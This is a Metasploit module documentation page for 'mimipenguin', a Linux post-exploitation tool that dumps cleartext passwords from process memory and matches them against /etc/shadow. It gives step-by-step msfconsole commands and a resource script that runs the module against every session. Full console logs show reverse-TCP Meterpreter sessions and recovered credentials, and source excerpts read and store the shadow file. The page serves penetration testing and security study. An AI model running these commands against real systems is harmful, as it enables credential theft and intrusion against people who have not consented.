MimiPenguin - Metasploit
This page contains detailed information about how to use the post/linux/gather/mimipenguin metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: MimiPenguin
Module: post/linux/gather/mimipenguin
Source code: modules/post/linux/gather/mimipenguin.rb
Disclosure date: 2018-05-23
Last modification time: 2022-10-13 10:13:27 +0000
Supported architecture(s): x86, x64, aarch64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-20781
This searches process memory for needles that indicate where
cleartext passwords may be located. If any needles are
discovered in the target process memory, collected strings
in adjacent memory will be hashed and compared with password
hashes found in /etc/shadow
.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/linux/gather/mimipenguin
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/linux/gather/mimipenguin
msf post(mimipenguin) > show options
... show and set options ...
msf post(mimipenguin) > set SESSION session-id
msf post(mimipenguin) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/linux/gather/mimipenguin")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on
Knowledge Base
Vulnerable Application
This finds cleartext passwords in process memory by first locating needles that are known to be found nearby.
This currently searches for passwords in gnome-keyring-daemon
, gdm-password
,
vsftpd
, ssh
, and lightdm
.
Verification Steps
- Get a meterpreter session on a Linux-based target (with root privileges)
- Do:
use post/linux/gather/mimipenguin
- Do:
set session <sess_no>
- Do:
run
- You should get credentials for the vulnerable services installed
Scenarios
Ubuntu 22.04 x64
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (3020772 bytes) to 192.168.140.140
[*] Meterpreter session 1 opened (192.168.140.1:4444 -> 192.168.140.140:35100 ) at 2022-06-22 13:11:24 -0500
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.140.140
OS : Ubuntu 22.04 (Linux 5.15.0-37-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/linux/gather/mimipenguin
msf6 post(linux/gather/mimipenguin) > set session 1
session => 1
msf6 post(linux/gather/mimipenguin) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Checking for matches in process gnome-keyring-daemon
[*] Checking for matches in process gdm-password
[*] Checking for matches in process vsftpd
[*] Checking for matches in process sshd
[*] Checking for matches in process lightdm
[+] Found 1 valid credential(s)!
Credentials
===========
Process Name Username Password
------------ -------- --------
gnome-keyring-daemon mimipenguin M!mipenguinPass
[*] Credentials stored in /home/space/.msf4/loot/20220622131237_default_192.168.140.140_mimipenguin.csv_806145.txt
[*] Post module execution completed
Ubuntu 21.04 x64
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (3020772 bytes) to 192.168.140.131
[*] Meterpreter session 2 opened (192.168.140.1:4444 -> 192.168.140.131:57524 ) at 2022-06-22 13:17:35 -0500
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.140.131
OS : Ubuntu 21.04 (Linux 5.11.0-49-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(multi/handler) > previous
msf6 post(linux/gather/mimipenguin) > set session 2
session => 2
msf6 post(linux/gather/mimipenguin) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Checking for matches in process gnome-keyring-daemon
[*] Checking for matches in process gdm-password
[*] Checking for matches in process vsftpd
[*] Checking for matches in process sshd
[*] Checking for matches in process lightdm
[+] Found 2 valid credential(s)!
Credentials
===========
Process Name Username Password
------------ -------- --------
gnome-keyring-daemon space password
vsftpd jdoe AccountF0rFTP
[*] Credentials stored in /home/space/.msf4/loot/20220622131938_default_192.168.140.131_mimipenguin.csv_269764.txt
[*] Post module execution completed
Fedora 27 x64
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (3020772 bytes) to 192.168.140.165
[*] Meterpreter session 3 opened (192.168.140.1:4444 -> 192.168.140.165:39180 ) at 2022-06-22 13:23:26 -0500
meterpreter > background
[*] Backgrounding session 3...
msf6 exploit(multi/handler) > previous
msf6 post(linux/gather/mimipenguin) > set session 3
session => 3
msf6 post(linux/gather/mimipenguin) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Checking for matches in process gnome-keyring-daemon
[*] Checking for matches in process gdm-password
[*] Checking for matches in process vsftpd
[*] Checking for matches in process sshd
[*] Checking for matches in process lightdm
[+] Found 2 valid credential(s)!
Credentials
===========
Process Name Username Password
------------ -------- --------
gnome-keyring-daemon mimipenguin M!mipenguinPass
vsftpd ftp_user FTPP@ssword
[*] Credentials stored in /home/space/.msf4/loot/20220622132521_default_192.168.140.165_mimipenguin.csv_330546.txt
[*] Post module execution completed
Ubuntu 14.04.1 x86
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.140.1:4444
[*] Sending stage (989032 bytes) to 192.168.140.135
[*] Meterpreter session 4 opened (192.168.140.1:4444 -> 192.168.140.135:37070 ) at 2022-06-22 13:34:19 -0500
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.140.135
OS : Ubuntu 14.04 (Linux 4.4.0-142-generic)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > background
[*] Backgrounding session 4...
msf6 exploit(multi/handler) > previous
msf6 post(linux/gather/mimipenguin) > set session 4
session => 4
msf6 post(linux/gather/mimipenguin) > run
[!] SESSION may not be compatible with this module:
[!] * missing Meterpreter features: stdapi_railgun_api
[*] Checking for matches in process gnome-keyring-daemon
[*] Checking for matches in process gdm-password
[*] Checking for matches in process vsftpd
[*] Checking for matches in process sshd
[*] Checking for matches in process lightdm
[+] Found 2 valid credential(s)!
Credentials
===========
Process Name Username Password
------------ -------- --------
gnome-keyring-daemon space password
gnome-keyring-daemon test RunningUpThatH!ll
[*] Credentials stored in /Users/space/.msf4/loot/20220622133502_default_192.168.140.135_mimipenguin.csv_117775.txt
[*] Post module execution completed
Go back to menu.
Msfconsole Usage
Here is how the linux/gather/mimipenguin post exploitation module looks in the msfconsole:
msf6 > use post/linux/gather/mimipenguin
msf6 post(linux/gather/mimipenguin) > show info
Name: MimiPenguin
Module: post/linux/gather/mimipenguin
Platform: Linux
Arch: x86, x64, aarch64
Rank: Normal
Disclosed: 2018-05-23
Provided by:
huntergregal
bcoles <[email protected]>
Shelby Pace
Compatible session types:
Meterpreter
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Description:
This searches process memory for needles that indicate where
cleartext passwords may be located. If any needles are discovered in
the target process memory, collected strings in adjacent memory will
be hashed and compared with password hashes found in `/etc/shadow`.
References:
https://github.com/huntergregal/mimipenguin
https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1772919
https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1717490
https://nvd.nist.gov/vuln/detail/CVE-2018-20781
Module Options
This is a complete list of options available in the linux/gather/mimipenguin post exploitation module:
msf6 post(linux/gather/mimipenguin) > show options
Module options (post/linux/gather/mimipenguin):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
Advanced Options
Here is a complete list of advanced options supported by the linux/gather/mimipenguin post exploitation module:
msf6 post(linux/gather/mimipenguin) > show advanced
Module advanced options (post/linux/gather/mimipenguin):
Name Current Setting Required Description
---- --------------- -------- -----------
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Post Actions
This is a list of all post exploitation actions which the linux/gather/mimipenguin module can do:
msf6 post(linux/gather/mimipenguin) > show actions
Post actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the linux/gather/mimipenguin post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 post(linux/gather/mimipenguin) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to read '/etc/shadow'
Here is a relevant code snippet related to the "Failed to read '/etc/shadow'" error message:
60: )
61: end
62:
63: def get_user_names_and_hashes
64: shadow_contents = read_file('/etc/shadow')
65: fail_with(Failure::UnexpectedReply, "Failed to read '/etc/shadow'") if shadow_contents.blank?
66: vprint_status('Storing shadow file...')
67: store_loot('shadow.file', 'text/plain', session, shadow_contents, nil)
68:
69: users = []
70: lines = shadow_contents.split
Invalid target info supplied
Here is a relevant code snippet related to the "Invalid target info supplied" error message:
110: user_data
111: end
112:
113: def get_matches(target_info = {})
114: if target_info.empty?
115: vprint_status('Invalid target info supplied')
116: return nil
117: end
118:
119: target_pids = pidof(target_info['name'])
120: if target_pids.nil?
PID for <VALUE> not found.
Here is a relevant code snippet related to the "PID for <VALUE> not found." error message:
116: return nil
117: end
118:
119: target_pids = pidof(target_info['name'])
120: if target_pids.nil?
121: print_bad("PID for #{target_info['name']} not found.")
122: return nil
123: end
124:
125: target_info['matches'] = {}
126: target_info['pids'] = target_pids
Root privileges are required
Here is a relevant code snippet related to the "Root privileges are required" error message:
289: end
290: end
291: end
292:
293: def run
294: fail_with(Failure::BadConfig, 'Root privileges are required') unless is_root?
295: user_data = get_user_names_and_hashes
296: fail_with(Failure::UnexpectedReply, 'Failed to retrieve user information') if user_data.empty?
297: password_data = configure_passwords(user_data)
298:
299: target_proc_info = [
Failed to retrieve user information
Here is a relevant code snippet related to the "Failed to retrieve user information" error message:
291: end
292:
293: def run
294: fail_with(Failure::BadConfig, 'Root privileges are required') unless is_root?
295: user_data = get_user_names_and_hashes
296: fail_with(Failure::UnexpectedReply, 'Failed to retrieve user information') if user_data.empty?
297: password_data = configure_passwords(user_data)
298:
299: target_proc_info = [
300: {
301: 'name' => 'gnome-keyring-daemon',
No matches found for process <NAME>
Here is a relevant code snippet related to the "No matches found for process <NAME>" error message:
336: captured_strings = []
337: target_proc_info.each do |info|
338: print_status("Checking for matches in process #{info['name']}")
339: match_set = get_matches(info)
340: if match_set.nil?
341: vprint_status("No matches found for process #{info['name']}")
342: next
343: end
344:
345: vprint_status('Choosing memory regions to search')
346: next if info['pids'].empty?
Failed to find any passwords
Here is a relevant code snippet related to the "Failed to find any passwords" error message:
359: captured_strings = []
360: end
361: end
362:
363: results = password_data.select { |res| res.key?('password') && !res['password'].nil? }
364: fail_with(Failure::NotFound, 'Failed to find any passwords') if results.empty?
365: print_good("Found #{results.length} valid credential(s)!")
366:
367: table = Rex::Text::Table.new(
368: 'Header' => 'Credentials',
369: 'Indent' => 2,
Go back to menu.
Related Pull Requests
References
- https://github.com/huntergregal/mimipenguin
- https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1772919
- https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1717490
- CVE-2018-20781
See Also
Check also the following modules related to this module:
- post/linux/gather/checkcontainer
- post/linux/gather/checkvm
- post/linux/gather/ecryptfs_creds
- post/linux/gather/enum_commands
- post/linux/gather/enum_configs
- post/linux/gather/enum_containers
- post/linux/gather/enum_nagios_xi
- post/linux/gather/enum_network
- post/linux/gather/enum_protections
- post/linux/gather/enum_psk
- post/linux/gather/enum_system
- post/linux/gather/enum_users_history
- post/linux/gather/gnome_commander_creds
- post/linux/gather/gnome_keyring_dump
- post/linux/gather/haserl_read
- post/linux/gather/hashdump
- post/linux/gather/manageengine_password_manager_creds
- post/linux/gather/mount_cifs_creds
- post/linux/gather/openvpn_credentials
- post/linux/gather/phpmyadmin_credsteal
- post/linux/gather/pptpd_chap_secrets
- post/linux/gather/tor_hiddenservices
- post/linux/gather/vcenter_secrets_dump
Authors
- huntergregal
- bcoles
- Shelby Pace
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.